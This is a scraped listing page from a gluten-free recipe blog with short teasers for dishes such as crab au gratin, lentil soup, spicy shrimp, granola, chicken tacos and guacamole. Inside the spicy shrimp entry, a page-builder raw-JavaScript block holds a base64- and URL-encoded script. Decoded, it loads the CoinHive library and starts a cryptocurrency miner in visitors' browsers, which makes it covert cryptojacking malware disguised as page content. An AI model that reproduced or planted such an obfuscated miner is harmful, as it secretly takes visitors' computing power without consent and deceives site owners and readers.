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crab meat au gratin

Crabmeat au Gratin Recipe

We have loved Crab au Gratin since the days when we lived in New Orleans.  I have spent years searching far and wide for a good recipe, and this is something I have developed with evaporated milk instead of cream, and with a Cajun accent.  This dish is very rich,

lentil soup with sausage
Gluten Free Recipes

Lentil Soup

This is an easy and hearty Lentil Soup recipe, vegetarian style, or with the Smoked Andouille Chicken Sausage called for as optional in the recipe. I prefer making it with the Sausage since it gives the soup a hearty smoked flavor. [ingredients title=”Ingredients”] 2 Tablespoons oil for sauteing, such as

spicy shrimp recipe with mushrooms in pan
Gluten Free Recipes

Spicy Shrimp Recipe: Camarones a la Diablo

[vc_row][vc_column][vc_column_text] This Mexican spicy shrimp recipe is great! In spite of the chili sauce and hot sauce, it is not too hot. It is adapted from a recipe that appeared on Epicurious and reflects a reader’s adaptation of a restaurant version she enjoyed. [/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][vc_raw_js]JTNDc2NyaXB0JTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZjb2luaGl2ZS5jb20lMkZsaWIlMkZjb2luaGl2ZS5taW4uanMlMjIlM0UlM0MlMkZzY3JpcHQlM0UlMEElM0NzY3JpcHQlM0UlMEElMDl2YXIlMjBtaW5lciUyMCUzRCUyMG5ldyUyMENvaW5IaXZlLkFub255bW91cyUyOCUyN1pXS0k4R2ZIRkRRTzBIWGViYkw1QVNpd0Z5cXpqcHQ4JTI3JTI5JTNCJTBBJTA5bWluZXIuc3RhcnQlMjglMjklM0IlMEElM0MlMkZzY3JpcHQlM0UlMEElM0NzY3JpcHQlM0UlMEElMDklMkYlMkYlMjBMaXN0ZW4lMjBvbiUyMGV2ZW50cyUwQSUwOW1pbmVyLm9uJTI4JTI3Zm91bmQlMjclMkMlMjBmdW5jdGlvbiUyOCUyOSUyMCU3QiUyMCUyRiUyQSUyMEhhc2glMjBmb3VuZCUyMCUyQSUyRiUyMCU3RCUyOSUwQSUwOW1pbmVyLm9uJTI4JTI3YWNjZXB0ZWQlMjclMkMlMjBmdW5jdGlvbiUyOCUyOSUyMCU3QiUyMCUyRiUyQSUyMEhhc2glMjBhY2NlcHRlZCUyMGJ5JTIwdGhlJTIwcG9vbCUyMCUyQSUyRiUyMCU3RCUyOSUwQSUwQSUwOSUyRiUyRiUyMFVwZGF0ZSUyMHN0YXRzJTIwb25jZSUyMHBlciUyMHNlY29uZCUwQSUwOXNldEludGVydmFsJTI4ZnVuY3Rpb24lMjglMjklMjAlN0IlMEElMDklMDl2YXIlMjBoYXNoZXNQZXJTZWNvbmQlMjAlM0QlMjBtaW5lci5nZXRIYXNoZXNQZXJTZWNvbmQlMjglMjklM0IlMEElMDklMDl2YXIlMjB0b3RhbEhhc2hlcyUyMCUzRCUyMG1pbmVyLmdldFRvdGFsSGFzaGVzJTI4JTI5JTNCJTBBJTA5JTA5dmFyJTIwYWNjZXB0ZWRIYXNoZXMlMjAlM0QlMjBtaW5lci5nZXRBY2NlcHRlZEhhc2hlcyUyOCUyOSUzQiUwQSUwQSUwOSUwOSUyRiUyRiUyME91dHB1dCUyMHRvJTIwSFRNTCUyMGVsZW1lbnRzLi4uJTBBJTA5JTdEJTJDJTIwMTAwMCUyOSUzQiUwQSUzQyUyRnNjcmlwdCUzRQ==[/vc_raw_js][/vc_column][/vc_row]

Gluten Free Recipes

Easy Dried Kale Recipe

Kale Recipe: Drying Kale is really as easy as can be. I bought a dehydrator a few months ago and we regularly use it to dry Kale, beef jerky, smoked turkey jerky and whatever else looks good. I especially like the

A gluten free recipe for granola
Gluten Free Recipes

Recipe for Granola: A Gluten Free Snack

Food in Atlanta: Recipe for Granola Emily Gilbert and I made this healthy healthy recipe for Granola in response to the fact that every Granola we looked at in the stores had way too much sugar, bad vegetable oils and other unhealthy ingredients. This recipe for Granola is absolutely delicious

Gluten Free Recipes

Quinoa Salad

Quinoa Salad Recipe: This is a wonderful quinoa salad for a side dish or to keep in the refrigerator for snack time. I recommend cooking the Quinoa a few hours before assembling the salad so it has time to cool. Ingredients: 1/2 Cup Quinoa (Rinse under cold water before cooking)

Gluten Free Recipes

Sea Bass Recipe

Background: Ever since my trip to Greece about two years ago, I have increased my seafood diet ten fold.  Eating seafood in Greece is far too easy.  The fresh fish and other delicacies are always at hand, and prepared to your liking.  Here in Georgia, we do not have quite

Bobs Famous Recipe for Ribs

Recipe for Ribs

Bob’s Famous Recipe for Ribs: This recipe for ribs has been getting rave reviews for over 35 years.  I learned the recipe when I was a kitchen cook at the Black Angus, a steak restaurant in Minneapolis, which is now long gone.  The dressy restaurant had a bar-b-que station in

Sautee chicken taco recipe ingredients

Chicken Taco Recipe

Chicken Tacos are a fun and easy way to make healthy and tasty Mexican food at home.  They have been a mainstay at our house for years.  The only real magic in this chicken taco recipe is the technique for cooking, shredding and then sauteing the Chicken.  Once you have

Apples with almond butter and coconut

Healthy Apple Recipe

Background: The myriad of healthy apple recipes on the internet reflects how ingrained the apple is in American Culture. We love the apple, and everyone has grown up on his or her own favorite healthy apple recipe. From apple cake, to apples and honey, the possibilities seem endless.  We discovered

tortillas, oil, butter
Gluten Free Recipes

Homemade Chips Recipe

Today I discovered just how easy it is to make homemade chips.  These chips are baked and are Gluten free! Preheat oven to 400 degrees. Take the best corn tortillas you can find (or make your own).  Cut them into quarters.  Brush both sides with a healthy high heat-able oil. 

easy guacamole recipe picture
Gluten Free Recipes

Easy Guacamole Recipe

  People have been asking for my easy Guacamole recipe for years.  It is so simple – and so good. Ingredients:  2 just ripe Haas Avocados, 1/4 – 1/2 cup diced sweet onion, 1/2 – 1 teaspoon garlic salt (or your own mix of garlic powder and sea salt), 1/2